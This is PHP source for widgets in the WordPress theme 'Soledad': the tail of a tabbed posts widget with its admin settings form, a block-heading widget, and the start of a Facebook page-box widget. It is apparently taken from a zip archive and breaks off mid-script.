                                                <span class="side-item-meta side-wcomments"><a
                                                            href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
											<?php endif; ?>
											<?php if ( $showviews ): ?>
                                                <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
											<?php endif; ?>
											<?php do_action( 'penci_extra_meta' ); ?>
                                        </div>
									<?php endif; ?>
                                </div>
                            </div>
                        </li>

						<?php $num ++; endwhile; ?>

                </ul>
				<?php
				if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'btn' ) {
					?>
                    <div class="penci-pagination penci-ajax-more pcwg-lposts">
                        <a class="penci-ajax-more-button penci-wgajx-btn pc-tabsajax-btn"
                           href="#" aria-label="More Posts">
                            <span class="ajax-more-text"><?php echo penci_get_setting( 'penci_trans_load_more_posts' ); ?></span><span
                                    class="ajaxdot"></span><i
                                    class="penci-faicon fa fa-refresh"></i> </a>
                    </div>
					<?php
				} else if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] == 'nav' ) { ?>
                    <div class="penci-pagination penci-ajax-nav pcwg-lposts">
                        <span class="pcajx-btn pc-tabsajax-btn penci-wgajx-btn prev disable"><?php echo penci_icon_by_ver( 'penciicon-left-chevron' ) . ' <span class="pcnav-title">' . penci_get_setting( 'penci_trans_back' ); ?></span></span>
                        <span class="pcajx-btn pc-tabsajax-btn penci-wgajx-btn next"><span
                                    class="pcnav-title"><?php echo penci_get_setting( 'penci_trans_next' ) . '</span> ' . penci_icon_by_ver( 'penciicon-right-chevron' ); ?></span>
                    </div>
					<?php
				}
				if ( isset( $instance['ajaxnav'] ) && $instance['ajaxnav'] ) {
					?>
                    <div class="pcwgajx-ld-wrapper">
						<?php echo penci_get_html_animation_loading( 'df' ); ?>
                    </div>
					<?php
				}
				?>
            </div>
			<?php
		}

		public function soledad_widget_defaults() {
			return array(
				'title'            => esc_html__( 'Tabs', 'soledad' ),
				'tabs_order'       => 'recent_popular_comments',
				'tabs_style'       => 'default',
				'popular_order'    => 'all',
				'number'           => 5,
				'number_comments'  => 5,
				'tabs_icon'        => '',
				'disable_popular'  => '',
				'disable_recent'   => '',
				'disable_comments' => '',
				'sticky'           => true,
				'show_author'      => false,
				'show_comment'     => false,
				'show_postviews'   => false,
				'showborder'       => false,
				'row_gap'          => '',
				'imgwidth'         => '',
				'ptfsfe'           => '',
				'ptfs'             => '',
				'ptorn'            => '',
				'oboxsize'         => '',
				'pmfs'             => '',
				'image_type'       => 'default',
				'type'             => '',
				'title_length'     => '',
				'offset'           => '',
				'categories'       => '',
				'dotstyle'         => '',
				'movemeta'         => '',
				'hide_thumb'       => '',
				'ajaxnav'          => '',
				'ordernum_style'   => '',
				'featured'         => false,
				'allfeatured'      => false,
				'thumbright'       => false,
				'twocolumn'        => false,
				'featured2'        => false,
				'ordernum'         => false,
				'ordernum_recent'  => true,
				'postdate'         => false,
				'icon'             => false
			);
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();
			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			$tabs_order     = $instance['tabs_order'] ? $instance['tabs_order'] : 'recent_popular_comments';
			$tabs_style     = $instance['tabs_style'] ? $instance['tabs_style'] : 'default';
			$popular_order  = $instance['popular_order'] ? $instance['popular_order'] : 'all';
			?>

            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <!--<p>
                <label for="<?php /*echo esc_attr( $this->get_field_id( 'tabs_icon' ) ); */ ?>"><?php /*esc_html_e( 'Use icons:', 'soledad' ); */ ?></label>
                <input type="checkbox" id="<?php /*echo esc_attr( $this->get_field_id( 'tabs_icon' ) ); */ ?>"
                       name="<?php /*echo esc_attr( $this->get_field_name( 'tabs_icon' ) ); */ ?>" <?php /*checked( (bool) $instance['tabs_icon'], true ); */ ?> />
            </p>-->

			<?php
			$list_oders = [
				'recent_popular_comments' => 'Recent / Popular / Comments',
				'recent_comments_popular' => 'Recent / Comments / Popular',
				'popular_recent_comments' => 'Popular / Recent / Comments',
				'popular_comments_recent' => 'Popular / Comments / Recent ',
				'comments_popular_recent' => 'Comments / Popular / Recent ',
				'comments_recent_popular' => 'Comments / Recent / Popular ',
			];
			$list_style = [
				'default' => 'Default Theme Style',
				'box'     => 'Box Tabs',
			]
			?>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tabs_order' ) ); ?>"><?php esc_html_e( 'Tabs order:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'tabs_order' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'tabs_order' ) ); ?>">
					<?php
					foreach ( $list_oders as $value => $name ) {
						echo '<option value="' . $value . '" ' . selected( $value, $tabs_order ) . '>' . $name . '</option>';
					}
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'tabs_style' ) ); ?>"><?php esc_html_e( 'Tabs style:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'tabs_style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'tabs_style' ) ); ?>">
					<?php
					foreach ( $list_style as $value => $name ) {
						echo '<option value="' . $value . '" ' . selected( $value, $tabs_style ) . '>' . $name . '</option>';
					}
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'popular_order' ) ); ?>"><?php esc_html_e( 'Popular tab order:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'popular_order' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'popular_order' ) ); ?>">
                    <option value="all" <?php if ( 'all' == $popular_order ) {
						echo 'selected="selected"';
					} ?>>All Time
                    </option>
                    <option value="week" <?php if ( 'week' == $popular_order ) {
						echo 'selected="selected"';
					} ?>>Once Weekly
                    </option>
                    <option value="month" <?php if ( 'month' == $popular_order ) {
						echo 'selected="selected"';
					} ?>>Once a Month
                    </option>
                    <option value="comments" <?php if ( 'comments' == $popular_order ) {
						echo 'selected="selected"';
					} ?>>Comments
                    </option>
					<?php if ( ! empty( penci_jetpack_option() ) ): ?>
                        <option value='jetpack' <?php if ( 'jetpack' == $instance['type'] ) {
							echo 'selected="selected"';
						} ?>>Once a Month
                        </option>
					<?php endif; ?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'disable_popular' ) ); ?>"><?php esc_html_e( 'Disable Popular Posts Tab ?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'disable_popular' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'disable_popular' ) ); ?>" <?php checked( (bool) $instance['disable_popular'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'disable_recent' ) ); ?>"><?php esc_html_e( 'Disable Recent Posts Tab ?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'disable_recent' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'disable_recent' ) ); ?>" <?php checked( (bool) $instance['disable_recent'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'disable_comments' ) ); ?>"><?php esc_html_e( 'Disable Comments Tab ?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'disable_comments' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'disable_comments' ) ); ?>" <?php checked( (bool) $instance['disable_comments'], true ); ?> />
            </p>

            <p>
                <strong>Post Listing Options</strong>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"><?php esc_html_e( 'Ignore Sticky Posts?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'sticky' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'sticky' ) ); ?>" <?php checked( (bool) $instance['sticky'], true ); ?> /><br>
                <span class="description"><?php _e( 'Note that: Ignore sticky posts doesn\'t work if you filter your posts by a taxonomy or multiple taxonomies (categories, tags... ) - because it doesn\'t support by WordPress itself.', 'soledad' ); ?></span>
            </p>

            <!-- Image Size -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"><?php esc_html_e( 'Featured Images Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'image_type' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'image_type' ) ); ?>"
                        class="widefat image_type" style="width:100%;">
                    <option value='default' <?php if ( 'default' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Default ( follow on Customize )', 'soledad' ); ?></option>
                    <option value='horizontal' <?php if ( 'horizontal' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Horizontal Size', 'soledad' ); ?></option>
                    <option value='square' <?php if ( 'square' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Square Size', 'soledad' ); ?></option>
                    <option value='vertical' <?php if ( 'vertical' == $instance['image_type'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Vertical Size', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Number of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Number of posts to show:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number'] ); ?>" size="3"/>
            </p>

            <!-- Number of comments -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number_comments' ) ); ?>"><?php esc_html_e( 'Number of comments to show:', 'soledad' ); ?></label>
                <input type="text" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'number_comments' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number_comments' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number_comments'] ); ?>" size="3"/>
            </p>

            <!-- Offset of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"><?php esc_html_e( 'Number of offset Posts:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'offset' ) ); ?>"
                       value="<?php echo esc_attr( $instance['offset'] ); ?>" size="3"/>
            </p>

            <!-- Custom trim post titles -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"><?php esc_html_e( 'Custom words length for post titles:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title_length' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title_length' ) ); ?>"
                       value="<?php echo esc_attr( $instance['title_length'] ); ?>" size="3"/>
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If your post titles is too long - You can use this option for trim it. Fill number value here.</span>
            </p>

            <!-- Timeline dots style -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'dotstyle' ) ); ?>"><?php esc_html_e( 'Show Timeline Dots?', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'dotstyle' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'dotstyle' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Don't Show", 'soledad' ); ?></option>
                    <option value='s1' <?php if ( 's1' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Color Style', 'soledad' ); ?></option>
                    <option value='s2' <?php if ( 's2' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Hover Style', 'soledad' ); ?></option>
                    <option value='s3' <?php if ( 's3' == $instance['dotstyle'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Show with Animation Style', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Move post meta -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'movemeta' ) ); ?>"><?php esc_html_e( 'Move post meta to display above post title?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'movemeta' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'movemeta' ) ); ?>" <?php checked( (bool) $instance['movemeta'], true ); ?> />
            </p>

            <!-- Display thumbnail right -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_thumb' ) ); ?>"><?php esc_html_e( 'Hide thumbnail(Featured Image)?', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_thumb' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_thumb' ) ); ?>" <?php checked( (bool) $instance['hide_thumb'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'thumbright' ) ); ?>"><?php esc_html_e( 'Display thumbnail on right?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'thumbright' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'thumbright' ) ); ?>" <?php checked( (bool) $instance['thumbright'], true ); ?> />
            </p>

            <!-- 2 Columns -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'twocolumn' ) ); ?>"><?php esc_html_e( 'Display on 2 columns?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'twocolumn' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'twocolumn' ) ); ?>" <?php checked( (bool) $instance['twocolumn'], true ); ?> />
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If you use 2 columns option, it will ignore option display thumbnail on right.</span>
            </p>

            <!-- Display latest post featured -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'featured' ) ); ?>"><?php esc_html_e( 'Display 1st post featured?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'featured' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'featured' ) ); ?>" <?php checked( (bool) $instance['featured'], true ); ?> />
            </p>

            <!-- Display latest post featured style 2 -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'featured2' ) ); ?>"><?php esc_html_e( 'Display featured post style 2?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'featured2' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'featured2' ) ); ?>" <?php checked( (bool) $instance['featured2'], true ); ?> />
            </p>

            <!-- Display big post -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'allfeatured' ) ); ?>"><?php esc_html_e( 'Display all post featured?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'allfeatured' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'allfeatured' ) ); ?>" <?php checked( (bool) $instance['allfeatured'], true ); ?> />
                <span class="description" style="display: block; padding: 0;font-size: 12px;">If you use all post featured option, it will ignore option display thumbnail on right & 2 columns.</span>
            </p>

            <!-- Hide Order Numbers -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ordernum' ) ); ?>"><?php esc_html_e( 'Hide Order Numbers?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'ordernum' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ordernum' ) ); ?>" <?php checked( (bool) $instance['ordernum'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ordernum_style' ) ); ?>"><?php esc_html_e( 'Order Numbers Style', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ordernum_style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ordernum_style' ) ); ?>"
                        class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ordernum_style'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Style 1", 'soledad' ); ?></option>
                    <option value='2' <?php if ( '2' == $instance['ordernum_style'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Style 2', 'soledad' ); ?></option>
                    <option value='3' <?php if ( '3' == $instance['ordernum_style'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Style 3', 'soledad' ); ?></option>
                    <option value='4' <?php if ( '4' == $instance['ordernum_style'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Style 4', 'soledad' ); ?></option>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ordernum_recent' ) ); ?>"><?php esc_html_e( 'Hide Order Numbers on Recent Tab Only?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'ordernum_recent' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ordernum_recent' ) ); ?>" <?php checked( (bool) $instance['ordernum_recent'], true ); ?> />
            </p>

            <!-- Post Meta -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_author' ) ); ?>"><?php esc_html_e( 'Show Author Name?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_author' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_author' ) ); ?>" <?php checked( (bool) $instance['show_author'], true ); ?> />
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'postdate' ) ); ?>"><?php esc_html_e( 'Hide post date?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'postdate' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'postdate' ) ); ?>" <?php checked( (bool) $instance['postdate'], true ); ?> />
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_comment' ) ); ?>"><?php esc_html_e( 'Show Comment Count?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_comment' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_comment' ) ); ?>" <?php checked( (bool) $instance['show_comment'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_postviews' ) ); ?>"><?php esc_html_e( 'Show Post Views?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_postviews' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_postviews' ) ); ?>" <?php checked( (bool) $instance['show_postviews'], true ); ?> />
            </p>

            <!-- Ajax Post Navigation -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ajaxnav' ) ); ?>"><?php esc_html_e( 'Ajax Posts Navigation?', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'ajaxnav' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'ajaxnav' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='' <?php if ( '' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( "Don't Show", 'soledad' ); ?></option>
                    <option value='nav' <?php if ( 'nav' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Next/Previous Button', 'soledad' ); ?></option>
                    <option value='btn' <?php if ( 'btn' == $instance['ajaxnav'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Load More Button', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Hide post format icon -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'icon' ) ); ?>"><?php esc_html_e( 'Show icon post format?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'icon' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'icon' ) ); ?>" <?php checked( (bool) $instance['icon'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'showborder' ) ); ?>"><?php esc_html_e( 'Remove Border at The Bottom?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'showborder' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'showborder' ) ); ?>" <?php checked( (bool) $instance['showborder'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'row_gap' ) ); ?>"><?php esc_html_e( 'Rows Gap Between Post Items ( Default: 20 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'row_gap' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'row_gap' ) ); ?>"
                       value="<?php echo esc_attr( $instance['row_gap'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'imgwidth' ) ); ?>"><?php esc_html_e( 'Custom Image Width ( Default: 120 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'imgwidth' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'imgwidth' ) ); ?>"
                       value="<?php echo esc_attr( $instance['imgwidth'] ); ?>" size="3"/>
                <span class="description"
                      style="display: block; padding: 0;font-size: 12px;"><?php esc_html_e( 'This option doesn\'t apply for featured posts. It should be between 80 to 200.', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfsfe' ) ); ?>"><?php esc_html_e( 'Post Title Font Size on Featured Posts ( Default: 18 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfsfe' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfsfe' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfsfe'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"><?php esc_html_e( 'Post Title Font Size ( Default: 16 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptfs'] ); ?>" size="3"/>
            </p>

			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ptorn' ) ); ?>"><?php esc_html_e( 'Font Size for Order Number', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'ptorn' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ptorn' ) ); ?>"
                       value="<?php echo esc_attr( $instance['ptorn'] ); ?>" size="3"/>
            </p>

			<p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'oboxsize' ) ); ?>"><?php esc_html_e( 'Box Size for Order Number', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'oboxsize' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'oboxsize' ) ); ?>"
                       value="<?php echo esc_attr( $instance['oboxsize'] ); ?>" size="3"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"><?php esc_html_e( 'Post Meta Font Size ( Default: 13 )', 'soledad' ); ?></label>
                <input type="number" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'pmfs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'pmfs' ) ); ?>"
                       value="<?php echo esc_attr( $instance['pmfs'] ); ?>" size="3"/>
            </p>

			<?php
		}
	}
}
?>
PK     2w\?      widgets/block_heading.phpnu [        <?php
/**
 * Block widget heading title
 * Display the widget heading title follow the styles from the theme
 *
 * @package Wordpress
 * @since   7.9
 */

add_action( 'widgets_init', 'penci_block_heading_load_widget' );

function penci_block_heading_load_widget() {
	register_widget( 'penci_block_heading_widget' );
}

if ( ! class_exists( 'penci_block_heading_widget' ) ) {
	class penci_block_heading_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_block_heading_widget',
				'description' => esc_html__( 'A widget that displays the widget heading follow the styles from the theme. It helps if you\'re using Widget Blocks Editor from WordPress version 5.8', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_block_heading_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_block_heading_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'Block Heading', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_block_heading_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'Block Heading', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title = isset( $instance['title'] ) ? $instance['title'] : '';
			$title = apply_filters( 'widget_title', $title );

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo '<h3 class="widget-title penci-border-arrow"><span class="inner-arrow">' . $title . '</span></h3>';
			}

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array( 'title' => 'Example Title' );

			return $defaults;
		}

		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();
			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>
            <!-- Widget Title: Text Input -->

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

			<?php
		}
	}
}
?>
PK     2w\@!  !    widgets/facebook_widget.phpnu [        <?php
/**
 * Facebook page box widget
 * Display facebook page box on your website
 *
 * @package Wordpress
 * @since 1.0
 */

add_action( 'widgets_init', 'penci_facebook_load_widget' );

function penci_facebook_load_widget() {
	register_widget( 'penci_facebook_widget' );
}

if ( ! class_exists( 'penci_facebook_widget' ) ) {
	class penci_facebook_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_facebook_widget',
				'description' => esc_html__( 'A widget will displays a Facebook Page', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_facebook_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_facebook_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'Facebook Page Box', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_facebook_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'Facebook Page Box', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title    = isset( $instance['title'] ) ? $instance['title'] : '';
			$title    = apply_filters( 'widget_title', $title );
			$page_url = isset( $instance['page_url'] ) ? $instance['page_url'] : '';
			$height   = isset( $instance['height'] ) ? $instance['height'] : '';
			$faces    = isset( $instance['faces'] ) ? $instance['faces'] : '';
			$stream   = isset( $instance['stream'] ) ? $instance['stream'] : '';
			$cover    = isset( $instance['cover'] ) ? $instance['cover'] : '';
			$language = isset( $instance['language'] ) ? $instance['language'] : '';


			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}
			$lang = $language ? $language : get_locale();
			if ( $page_url ) {
				?>
                <div id="fb-root"></div>
                <script data-cfasync="false">(function (d, s, id) {
                        var js, fjs = d.getElementsByTagName(s)[0];
                        if (d.getElementById(id)) return;
                        js = d.createElement(s);
                        js.id = id;
